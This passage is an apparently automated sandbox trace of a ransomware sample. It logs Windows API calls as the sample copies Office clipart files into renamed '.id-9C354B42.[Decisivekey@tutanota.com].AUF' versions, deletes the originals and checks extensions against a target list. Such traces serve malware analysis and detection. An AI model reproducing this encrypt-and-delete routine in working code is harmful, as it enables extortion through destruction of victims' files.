lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.618] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.618] SetEndOfFile (hFile=0x228) returned 1 [0224.619] CloseHandle (hObject=0x228) returned 1 [0224.619] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.619] SetEndOfFile (hFile=0x208) returned 1 [0224.619] CloseHandle (hObject=0x208) returned 1 [0224.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0224.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0224.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0224.620] lstrlenW (lpString=".doc") returned 4 [0224.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.620] lstrlenW (lpString=".docx") returned 5 [0224.620] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0224.620] lstrlenW (lpString=".pdf") returned 4 [0224.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.620] lstrlenW (lpString=".xls") returned 4 [0224.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.620] lstrlenW (lpString=".xlsx") returned 5 [0224.620] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0224.620] lstrlenW (lpString=".ppt") returned 4 [0224.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0224.620] lstrlenW (lpString=".zip") returned 4 [0224.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.620] lstrlenW (lpString=".rar") returned 4 [0224.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.620] lstrlenW (lpString=".bz2") returned 4 [0224.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.620] lstrlenW (lpString=".7z") returned 3 [0224.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0224.620] lstrlenW (lpString=".dbf") returned 4 [0224.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0224.620] lstrlenW (lpString=".1cd") returned 4 [0224.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0224.620] lstrlenW (lpString=".jpg") returned 4 [0224.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.621] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=35346) returned 1 [0224.621] CloseHandle (hObject=0x208) returned 1 [0224.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0224.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.622] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.622] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.622] GetLastError () returned 0x0 [0224.622] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x8a12, lpOverlapped=0x0) returned 1 [0224.629] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x8a20, lpOverlapped=0x0) returned 1 [0224.630] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.630] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.630] SetEndOfFile (hFile=0x228) returned 1 [0224.630] CloseHandle (hObject=0x228) returned 1 [0224.630] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.630] SetEndOfFile (hFile=0x208) returned 1 [0224.631] CloseHandle (hObject=0x208) returned 1 [0224.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0224.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0224.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0224.631] lstrlenW (lpString=".doc") returned 4 [0224.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.631] lstrlenW (lpString=".docx") returned 5 [0224.632] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0224.632] lstrlenW (lpString=".pdf") returned 4 [0224.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.632] lstrlenW (lpString=".xls") returned 4 [0224.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.632] lstrlenW (lpString=".xlsx") returned 5 [0224.632] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0224.632] lstrlenW (lpString=".ppt") returned 4 [0224.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0224.632] lstrlenW (lpString=".zip") returned 4 [0224.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.632] lstrlenW (lpString=".rar") returned 4 [0224.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.632] lstrlenW (lpString=".bz2") returned 4 [0224.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.632] lstrlenW (lpString=".7z") returned 3 [0224.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0224.632] lstrlenW (lpString=".dbf") returned 4 [0224.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0224.632] lstrlenW (lpString=".1cd") returned 4 [0224.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned 63 [0224.632] lstrlenW (lpString=".jpg") returned 4 [0224.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.632] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=14174) returned 1 [0224.632] CloseHandle (hObject=0x208) returned 1 [0224.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 0x20 [0224.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.633] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.633] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.633] GetLastError () returned 0x0 [0224.633] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x375e, lpOverlapped=0x0) returned 1 [0224.641] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3760, lpOverlapped=0x0) returned 1 [0224.642] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.642] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.642] SetEndOfFile (hFile=0x228) returned 1 [0224.642] CloseHandle (hObject=0x228) returned 1 [0224.642] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.642] SetEndOfFile (hFile=0x208) returned 1 [0224.643] CloseHandle (hObject=0x208) returned 1 [0224.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0224.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0224.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0224.643] lstrlenW (lpString=".doc") returned 4 [0224.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.643] lstrlenW (lpString=".docx") returned 5 [0224.643] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0224.643] lstrlenW (lpString=".pdf") returned 4 [0224.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.644] lstrlenW (lpString=".xls") returned 4 [0224.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.644] lstrlenW (lpString=".xlsx") returned 5 [0224.644] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0224.644] lstrlenW (lpString=".ppt") returned 4 [0224.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0224.644] lstrlenW (lpString=".zip") returned 4 [0224.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.644] lstrlenW (lpString=".rar") returned 4 [0224.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.644] lstrlenW (lpString=".bz2") returned 4 [0224.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.644] lstrlenW (lpString=".7z") returned 3 [0224.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0224.644] lstrlenW (lpString=".dbf") returned 4 [0224.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0224.644] lstrlenW (lpString=".1cd") returned 4 [0224.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF") returned 63 [0224.644] lstrlenW (lpString=".jpg") returned 4 [0224.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.644] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=15680) returned 1 [0224.644] CloseHandle (hObject=0x208) returned 1 [0224.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0224.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.645] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.645] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.645] GetLastError () returned 0x0 [0224.645] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x3d40, lpOverlapped=0x0) returned 1 [0224.655] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x3d50, lpOverlapped=0x0) returned 1 [0224.656] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.656] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.657] SetEndOfFile (hFile=0x228) returned 1 [0224.657] CloseHandle (hObject=0x228) returned 1 [0224.657] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.657] SetEndOfFile (hFile=0x208) returned 1 [0224.658] CloseHandle (hObject=0x208) returned 1 [0224.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0224.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0224.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0224.658] lstrlenW (lpString=".doc") returned 4 [0224.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.658] lstrlenW (lpString=".docx") returned 5 [0224.658] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0224.658] lstrlenW (lpString=".pdf") returned 4 [0224.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.658] lstrlenW (lpString=".xls") returned 4 [0224.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.658] lstrlenW (lpString=".xlsx") returned 5 [0224.658] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0224.659] lstrlenW (lpString=".ppt") returned 4 [0224.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0224.659] lstrlenW (lpString=".zip") returned 4 [0224.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.659] lstrlenW (lpString=".rar") returned 4 [0224.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.659] lstrlenW (lpString=".bz2") returned 4 [0224.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.659] lstrlenW (lpString=".7z") returned 3 [0224.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0224.659] lstrlenW (lpString=".dbf") returned 4 [0224.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0224.659] lstrlenW (lpString=".1cd") returned 4 [0224.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0224.659] lstrlenW (lpString=".jpg") returned 4 [0224.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.659] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=46936) returned 1 [0224.659] CloseHandle (hObject=0x208) returned 1 [0224.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0224.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0224.660] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.660] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0224.661] GetLastError () returned 0x0 [0224.661] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xb758, lpOverlapped=0x0) returned 1 [0224.673] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xb760, lpOverlapped=0x0) returned 1 [0224.675] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.675] WriteFile (in: hFile=0x228, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.675] SetEndOfFile (hFile=0x228) returned 1 [0224.675] CloseHandle (hObject=0x228) returned 1 [0224.675] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.675] SetEndOfFile (hFile=0x208) returned 1 [0224.676] CloseHandle (hObject=0x208) returned 1 [0224.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0224.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0224.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0224.676] lstrlenW (lpString=".doc") returned 4 [0224.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.676] lstrlenW (lpString=".docx") returned 5 [0224.676] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0224.677] lstrlenW (lpString=".pdf") returned 4 [0224.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.677] lstrlenW (lpString=".xls") returned 4 [0224.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.677] lstrlenW (lpString=".xlsx") returned 5 [0224.677] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0224.677] lstrlenW (lpString=".ppt") returned 4 [0224.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0224.677] lstrlenW (lpString=".zip") returned 4 [0224.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.677] lstrlenW (lpString=".rar") returned 4 [0224.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.677] lstrlenW (lpString=".bz2") returned 4 [0224.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.677] lstrlenW (lpString=".7z") returned 3 [0224.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0224.677] lstrlenW (lpString=".dbf") returned 4 [0224.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0224.677] lstrlenW 